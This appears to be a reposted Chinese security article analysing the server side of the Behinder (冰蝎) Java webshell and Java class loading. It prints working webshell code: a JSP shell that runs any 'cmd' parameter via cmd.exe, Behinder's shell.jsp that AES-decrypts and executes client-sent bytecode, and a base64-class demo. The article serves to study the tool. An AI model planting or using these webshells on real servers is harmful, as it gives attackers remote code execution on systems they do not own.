0
  • 聊天消息
  • 系統(tǒng)消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會員中心
創(chuàng)作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內(nèi)不再提示

冰蝎Java服務端解析

jf_vLt34KHi ? 來源:Tide安全團隊 ? 作者:Tide安全團隊 ? 2022-10-20 14:35 ? 次閱讀

冰蝎 Java服務端解析

前言

看了一段時間的webshell免殺,由于其他語言的webshell沒啥基礎,只對jsp的webshell和冰蝎簡單分析了一下。完成了一個簡化版的冰蝎Demo,主要是學習原理,分析的有不對的地方還請師傅們斧正。

冰蝎JSP服務端解析

在看冰蝎的shell.jsp之前先來回顧下Java最基礎執(zhí)行命令的實現(xiàn)。Java最常見的是通過Runtime.getRuntime().exec("cmd")來實現(xiàn)執(zhí)行系統(tǒng)命令的,如下是一個Demo。 Runtime.getRuntime().exec()實現(xiàn)命令執(zhí)行及輸出:

importjava.io.BufferedReader;
importjava.io.IOException;
importjava.io.InputStream;
importjava.io.InputStreamReader;

publicclassCMDExecDemo{
publicstaticvoidmain(String[]args)throwsException{
Processprocess=Runtime.getRuntime().exec("ipconfig");
InputStreamprocessInput=process.getInputStream();
InputStreamReaderinputStreamReader=newInputStreamReader(processInput,"GBK");
BufferedReaderbufferedReader=newBufferedReader(inputStreamReader);
StringresLine;
while((resLine=bufferedReader.readLine())!=null){
System.out.println(resLine);
}
inputStreamReader.close();
processInput.close();
}
}
6ceb789e-4ba1-11ed-a3b6-dac502259ad0.png

JSP實現(xiàn):

<%@page?language="java"?contentType="text/html;?charset=UTF-8"?pageEncoding="UTF-8"??%>
<%@page?import="java.io.*"?%>

<%
String?os?=?System.getProperty("os.name").toLowerCase();
out.print(os);

String?cmd?=?request.getParameter("cmd");
String?line;
if?(cmd?!=?null){
????Process?p?=?Runtime.getRuntime().exec(new?String[]{"cmd.exe","/c",cmd});
????InputStream?ins?=?p.getInputStream();
????InputStreamReader?insr?=?new?InputStreamReader(ins,"GBK");
????BufferedReader?br?=?new?BufferedReader(insr);
????out.print("
");
while((line=br.readLine())!=null){
out.print(line+"
");
}
out.print("
"); ins.close(); insr.close(); br.close(); p.getOutputStream().close(); } %>
6d1a8436-4ba1-11ed-a3b6-dac502259ad0.png

Behinder JSP Webshell不同于一般的一句話木馬,作者通過自定義類加載器調(diào)用ClassLoader類defineClass方法讓服務端有了動態(tài)解析字節(jié)碼的能力,添加注釋后的shell.jsp如下。

<%@?page?contentType="text/html;charset=UTF-8"?language="java"?%>
<%@?page?import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!
????//自定義類加載器
????class?U?extends?ClassLoader{
????????U(ClassLoader?c){
????????????super(c);
????????}
????????public?Class?g(byte?[]b)
????????{
????????????//調(diào)用父類defineClass方法
????????????return?super.defineClass(b,0,b.length);
????????}
????}
%>
<%
????if?(request.getMethod().equals("POST")){
????????String?k="e45e329feb5d925b";
????????session.putValue("u",k);
????????Cipher?c=Cipher.getInstance("AES");
????????c.init(2,new?SecretKeySpec(k.getBytes(),"AES"));



????????//獲取客戶端數(shù)據(jù)
//????????String?line?=?request.getReader().readLine();
????????//base64解碼客戶端數(shù)據(jù)
//????????byte[]?b?=?new?sun.misc.BASE64Decoder().decodeBuffer(line);
????????//AES解密
//????????byte[]?b1?=?c.doFinal(b);
????????//調(diào)用父類defineClass方法,將傳入數(shù)據(jù)還原為Class對象
//????????U?u?=?new?U(this.getClass().getClassLoader());
//????????Class?clazz?=?u.g(b1);
????????//實例化對象將輸出寫入pageContext
????????//客戶端傳入的字節(jié)碼指向的類中重寫了equals方法傳入pageContext對象,通過pageContext對象
????????//可以間接操作response,將執(zhí)行結果寫入response返回給客戶端
//????????clazz.newInstance().equals(pageContext);
????????new?U(this.getClass().getClassLoader()).g(c.doFinal(new?sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
????}
%>

關于自定義類加載器

Java執(zhí)行代碼的過程:程序員編寫的Java代碼通過編譯器編譯成字節(jié)碼文件即.class文件之后交由ClassLoader加載至JVM中被執(zhí)行。 JVM提供了三種類加載器: **Bootstrap classLoader:**主要負責加載核心的類庫(java.lang.*等),構造ExtClassLoader和APPClassLoader。ExtClassLoader:主要負責加載jre/lib/ext目錄下的一些擴展的jarAppClassLoader:主要負責加載應用程序的主函數(shù)類。 雙親委派機制: 當一個Hello.class這樣的文件要被加載時。不考慮自定義類加載器,首先會在AppClassLoader中檢查是否加載過,如果有那就無需再加載了。如果沒有,那么會拿到父加載器,然后調(diào)用父加載器的loadClass方法。父類中同理也會先檢查自己是否已經(jīng)加載過,如果沒有再往上。注意這個類似遞歸的過程,直到到達Bootstrap classLoader之前,都是在檢查是否加載過,并不會選擇自己去加載。直到BootstrapClassLoader,已經(jīng)沒有父加載器了,這時候開始考慮自己是否能加載了,如果自己無法加載,會下沉到子加載器去加載,一直到最底層,如果沒有任何加載器能加載,就會拋出ClassNotFoundException。

6d75b716-4ba1-11ed-a3b6-dac502259ad0.png

ClassLoader中的三個關鍵方法: ClassLoader.loadClass():雙親委派機制的代碼實現(xiàn)。

publicClassloadClass(Stringname)throwsClassNotFoundException{
returnloadClass(name,false);
}

protectedClassloadClass(Stringname,booleanresolve)
throwsClassNotFoundException
{
synchronized(getClassLoadingLock(name)){
//First,checkiftheclasshasalreadybeenloaded
Classc=findLoadedClass(name);
if(c==null){
longt0=System.nanoTime();
try{
if(parent!=null){
c=parent.loadClass(name,false);
}else{
c=findBootstrapClassOrNull(name);
}
}catch(ClassNotFoundExceptione){
//ClassNotFoundExceptionthrownifclassnotfound
//fromthenon-nullparentclassloader
}

if(c==null){
//Ifstillnotfound,theninvokefindClassinorder
//tofindtheclass.
longt1=System.nanoTime();
c=findClass(name);

//thisisthedefiningclassloader;recordthestats
sun.misc.PerfCounter.getParentDelegationTime().addTime(t1-t0);
sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
sun.misc.PerfCounter.getFindClasses().increment();
}
}
if(resolve){
resolveClass(c);
}
returnc;
}
}

ClassLoader.defineClass():將byte[]還原為Class對象。

protectedfinalClassdefineClass(Stringname,byte[]b,intoff,intlen,
ProtectionDomainprotectionDomain)
throwsClassFormatError
{
protectionDomain=preDefineClass(name,protectionDomain);
Stringsource=defineClassSourceLocation(protectionDomain);
Classc=defineClass1(name,b,off,len,protectionDomain,source);
postDefineClass(c,protectionDomain);
returnc;
}

ClassLoader.findClass():供自定義類加載器重寫使用,配合defineClass方法實現(xiàn)自定義加載字節(jié)碼。

protectedClassfindClass(Stringname)throwsClassNotFoundException{
thrownewClassNotFoundException(name);
}

實現(xiàn)自定義類加載器的步驟: 1、繼承ClassLoader類 2、重寫findClass方法 3、調(diào)用defineClass方法 Demo如下: hello.java

publicclasshello{
publicvoidprintHello(){
System.out.println("helloworld!");
}
}

customLoader.java

importjava.io.File;
importjava.io.FileInputStream;
importjava.lang.reflect.Method;

publicclasscustomLoaderextendsClassLoader{
privateStringclassPath;

publiccustomLoader(StringclassPath){
this.classPath=classPath;
}


@Override
protectedClassfindClass(Stringname)throwsClassNotFoundException{
byte[]bytes=newbyte[0];
try{
bytes=loadBytes(name);
}catch(Exceptione){
e.printStackTrace();
}
returnsuper.defineClass(bytes,0,bytes.length);
}

privatebyte[]loadBytes(StringclassName)throwsException{
FileInputStreamfileIns=newFileInputStream(classPath+File.separator+className.replace(".",File.separator).concat(".class"));
byte[]b=newbyte[fileIns.available()];
fileIns.read(b);
fileIns.close();
returnb;
}

publicstaticvoidmain(String[]args)throwsException{
customLoadercustomLoader=newcustomLoader("C:\Users\lixq\Desktop\loaderDemo\src\test\java");
ClassaClass=customLoader.loadClass("hello");
Objecto=aClass.newInstance();
Methodm=aClass.getMethod("printHello");
m.invoke(o);
}
}
6dd1f51c-4ba1-11ed-a3b6-dac502259ad0.png

有了以上基礎,著手將一開始的CMD Webshell改為自定義類加載器方式執(zhí)行: 相較于傳統(tǒng)自定義類加載器的方式,冰蝎更直接地調(diào)用defineClass方法將編碼后class文件還原為Class對象,參照冰蝎的方式可以依照如下步驟來實現(xiàn)CMD Webshell。 1、首先將CMD JSP Webshell編譯為class,然后將class文件base64編碼

6e0b2d32-4ba1-11ed-a3b6-dac502259ad0.pngimage.png

2、通過自定義類加載器將base64后class還原為Class對象并加載至jvm執(zhí)行。

<%@?page?import="java.util.Base64"?%>
<%@?page?import="java.lang.reflect.Method"?%>
<%@?page?contentType="text/html;charset=UTF-8"?language="java"?%>
<%
????String?cmd?=?request.getParameter("cmd");
????if?(cmd?!=?null){
????????class?U?extends?ClassLoader{
????????????public?Class?g(){
????????????????String?clsStr?=?"yv66vgAAADQAVAoAFgArBwAsCgACACsKAC0ALgcALwgAMAgAMQoALQAyCgAzADQHADUIADYKAAoANwcAOAoADQA5CgANADoKAAIAOwgAPAoAPQA+CgAKAD4KAAIAPwcAQAcAQQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEACkV4Y2VwdGlvbnMHAEIBAAdleGVjQ21kAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAA1TdGFja01hcFRhYmxlBwBABwAvBwAsBwBDBwBEBwA1BwA4AQAKU291cmNlRmlsZQEAFENNRF9SdW50aW1lRGVtby5qYXZhDAAXABgBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgcARQwARgBHAQAQamF2YS9sYW5nL1N0cmluZwEAB2NtZC5leGUBAAIvYwwASABJBwBDDABKAEsBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyAQADR0JLDAAXAEwBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyDAAXAE0MAE4ATwwAUABRAQABCgcARAwAUgAYDABTAE8BAA9DTURfUnVudGltZURlbW8BABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9Qcm9jZXNzAQATamF2YS9pby9JbnB1dFN0cmVhbQEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAKihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZzspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAFY2xvc2UBAAh0b1N0cmluZwAhABUAFgAAAAAAAwABABcAGAABABkAAAAdAAEAAQAAAAUqtwABsQAAAAEAGgAAAAYAAQAAAAYACQAbABwAAgAZAAAAGQAAAAEAAAABsQAAAAEAGgAAAAYAAQAAABIAHQAAAAQAAQAeAAEAHwAgAAIAGQAAAM4ABQAIAAAAaLsAAlm3AANNuAAEBr0ABVkDEgZTWQQSB1NZBStTtgAITi22AAk6BLsAClkZBBILtwAMOgW7AA1ZGQW3AA46BhkGtgAPWToHxgASLBkHtgAQEhG2ABBXp//pGQS2ABIZBbYAEyy2ABSwAAAAAgAaAAAAKgAKAAAAFAAIABUAIQAWACcAFwA0ABgAPwAaAEoAHABZAB4AXgAfAGMAIAAhAAAAJAAC/wA/AAcHACIHACMHACQHACUHACYHACcHACgAAPwAGQcAIwAdAAAABAABAB4AAQApAAAAAgAq";
????????????????byte[]?b?=?Base64.getDecoder().decode(clsStr);
????????????????return?super.defineClass(b,0,b.length);
????????????}
????????}
????????U??u?=?new?U();
????????Class?clazz?=?u.g();
????????Object?obj?=?clazz.newInstance();
????????Method?m?=?clazz.getMethod("execCmd",String.class);
????????String?res?=?(String)?m.invoke(obj,cmd);
????????out.print(res);
????}
%>
6e450f2a-4ba1-11ed-a3b6-dac502259ad0.png

總結

簡單分析了冰蝎Java服務端的實現(xiàn),如果我們將固定的CMD_RuntimeDemo.class Base64編碼后的字符串改為傳遞參數(shù)傳遞給服務端,那么服務端就可以解析我們傳遞的class字節(jié)碼從而在服務端執(zhí)行任意java代碼,而這正是冰蝎客戶端的核心思路。

審核編輯:湯梓紅

聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權轉(zhuǎn)載。文章觀點僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場。文章及其配圖僅供工程師學習之用,如有內(nèi)容侵權或者其他違規(guī)問題,請聯(lián)系本站處理。 舉報投訴
  • JAVA
    +關注

    關注

    19

    文章

    2967

    瀏覽量

    104746
  • JSP
    JSP
    +關注

    關注

    0

    文章

    26

    瀏覽量

    10382
  • 服務端
    +關注

    關注

    0

    文章

    66

    瀏覽量

    7007

原文標題:參考

文章出處:【微信號:Tide安全團隊,微信公眾號:Tide安全團隊】歡迎添加關注!文章轉(zhuǎn)載請注明出處。

收藏 人收藏

    評論

    相關推薦

    TCP服務端測試工具

    本帖最后由 小子個 于 2024-3-20 22:58 編輯 該TCP服務端工具可以理解為 “TCP服務端” 或者 “服務器” ,目的是幫助大家在沒有服務器的情況下,完成客戶
    發(fā)表于 06-29 09:22

    ?PLC從HTTP服務端獲取JSON文件,解析數(shù)據(jù)到寄存器

    文件提交給HTTP的服務端; 服務端有返回的JSON,或者GET命令獲取到的JSON,網(wǎng)關進行解析后將數(shù)據(jù)寫入到PLC寄存器。 本文主要描述通過GET命令獲取數(shù)據(jù),解析到西門子PLC的
    發(fā)表于 01-24 09:47

    TCP服務端的實現(xiàn)

    Swoole TCP服務端與客戶 持續(xù)更新
    發(fā)表于 09-26 16:04

    TCP通信時服務端如何接收客戶的數(shù)據(jù)?

    畢設采用的是TCP協(xié)議,組員做的是下位機,C編程,WiFi模塊工作處于客戶。我負責上位機,Labview使用tcp協(xié)議時服務端怎么接收客戶的數(shù)據(jù)呢? 我找到的例程都是服務端發(fā)、客戶
    發(fā)表于 04-14 14:49

    Delphi教程之建立類型庫編輯DataSnap服務端

    Delphi教程之建立類型庫編輯DataSnap服務端,很好的Delphi資料,快來下載吧。
    發(fā)表于 04-11 15:59 ?2次下載

    Delphi教程之建立基本MTS服務端

    Delphi教程之建立基本MTS服務端,很好的Delphi資料,快來下載吧。
    發(fā)表于 04-11 15:59 ?3次下載

    Android 仿QQ客戶服務端源碼

    Android 仿QQ客戶服務端源碼
    發(fā)表于 03-19 11:23 ?3次下載

    SSRF服務端請求偽造攻擊

    SSRF服務端請求偽造攻擊
    發(fā)表于 09-07 14:07 ?6次下載
    SSRF<b class='flag-5'>服務端</b>請求偽造攻擊

    MQTT中服務端和客戶

    MQTT 是一種基于客戶-服務端架構(C/S)的消息傳輸協(xié)議,所以在 MQTT 協(xié)議通信中,有兩個最為重要的角色,它們便是服務端和客戶。 1)
    的頭像 發(fā)表于 07-30 14:55 ?2652次閱讀

    服務端如何控制客戶之間的信息通訊

    服務端如何通過“主題”來控制客戶之間的信息通訊,看下圖實例: 在以上圖示中一共有三個 MQTT 客戶,它們分別是開發(fā)板、手機和電腦。MQTT 服務端在管理 MQTT通信時使用了“主
    的頭像 發(fā)表于 07-30 15:10 ?816次閱讀
    <b class='flag-5'>服務端</b>如何控制客戶<b class='flag-5'>端</b>之間的信息通訊

    Java SpringBoot項目:Node服務端搭建

    玩歸玩,鬧歸鬧,別拿 C 開玩笑!這里不推薦大家把 Node 服務作為 C 服務,畢竟它是單線程多任務 機制。這一特性是 Javascript 語言設計之初,就決定了它的使命 -
    的頭像 發(fā)表于 11-02 14:56 ?1084次閱讀
    <b class='flag-5'>Java</b> SpringBoot項目:Node<b class='flag-5'>服務端</b>搭建

    服務端的測試主要是測什么內(nèi)容

    服務端測試是軟件開發(fā)過程中的一個重要環(huán)節(jié),主要目的是確保服務端程序的穩(wěn)定性、性能、安全性和可靠性。 功能測試 功能測試是服務端測試的基礎,主要驗證服務端程序是否按照需求實現(xiàn)了所有功能。
    的頭像 發(fā)表于 05-30 15:24 ?4042次閱讀

    服務端測試和客戶測試區(qū)別在哪

    服務端測試和客戶測試是軟件開發(fā)過程中的兩個重要環(huán)節(jié),它們分別針對服務器端和客戶的軟件進行測試。本文將詳細介紹服務端測試和客戶
    的頭像 發(fā)表于 05-30 15:27 ?3094次閱讀

    服務端測試是web測試嗎為什么

    服務端測試和Web測試是兩個不同的概念,但它們在軟件開發(fā)和測試過程中是相互關聯(lián)的。本文將詳細解釋這兩個概念以及它們之間的關系。 服務端測試 服務端測試主要關注服務器端的軟件組件,這些組
    的頭像 發(fā)表于 05-30 15:30 ?612次閱讀

    服務端測試包括什么類型

    服務端測試是確保軟件系統(tǒng)在服務器端正常運行和滿足性能要求的重要環(huán)節(jié)。本文將詳細介紹服務端測試的類型、方法和最佳實踐。 1. 服務端測試的定義 服務端
    的頭像 發(fā)表于 05-30 16:03 ?758次閱讀